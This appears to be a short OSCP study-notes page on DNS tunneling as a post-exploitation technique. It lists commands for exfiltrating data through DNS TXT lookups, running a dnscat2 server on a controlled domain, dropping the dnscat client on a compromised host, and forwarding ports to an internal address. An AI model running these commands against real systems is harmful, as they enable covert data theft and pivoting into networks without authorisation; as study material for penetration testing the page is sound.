// notes/ Pivoting & Tunneling
🚀
DNS Tunneling
Data can be exfiltrated using DNS records and the protocol itself
#post exploitation#adot8
source · oscp.adot8.com · post-exploitation/dns-tunneling ↗DNS Tunneling
Data can be exfiltrated using DNS records and the protocol itself
Create a txt record on compromised server and exfil line by line
🐺 howlsec@kalicode
01nslookup -type=txt exfiltrated.data.dogs.corpdnscat2
Spin up dnscat2 server
🐺 howlsec@kalicode
01dnscat2-server feline.corpDrop binary on compromised host and create tunnel
🐺 howlsec@kalicode
01./dnscat feline.corpView sessions
🐺 howlsec@kalicode
01windowsInteract with a session
🐺 howlsec@kalicode
01window -i 1Set up a port forward
🐺 howlsec@kalicode
01listen 0.0.0.0:1338 172.16.192.217:4646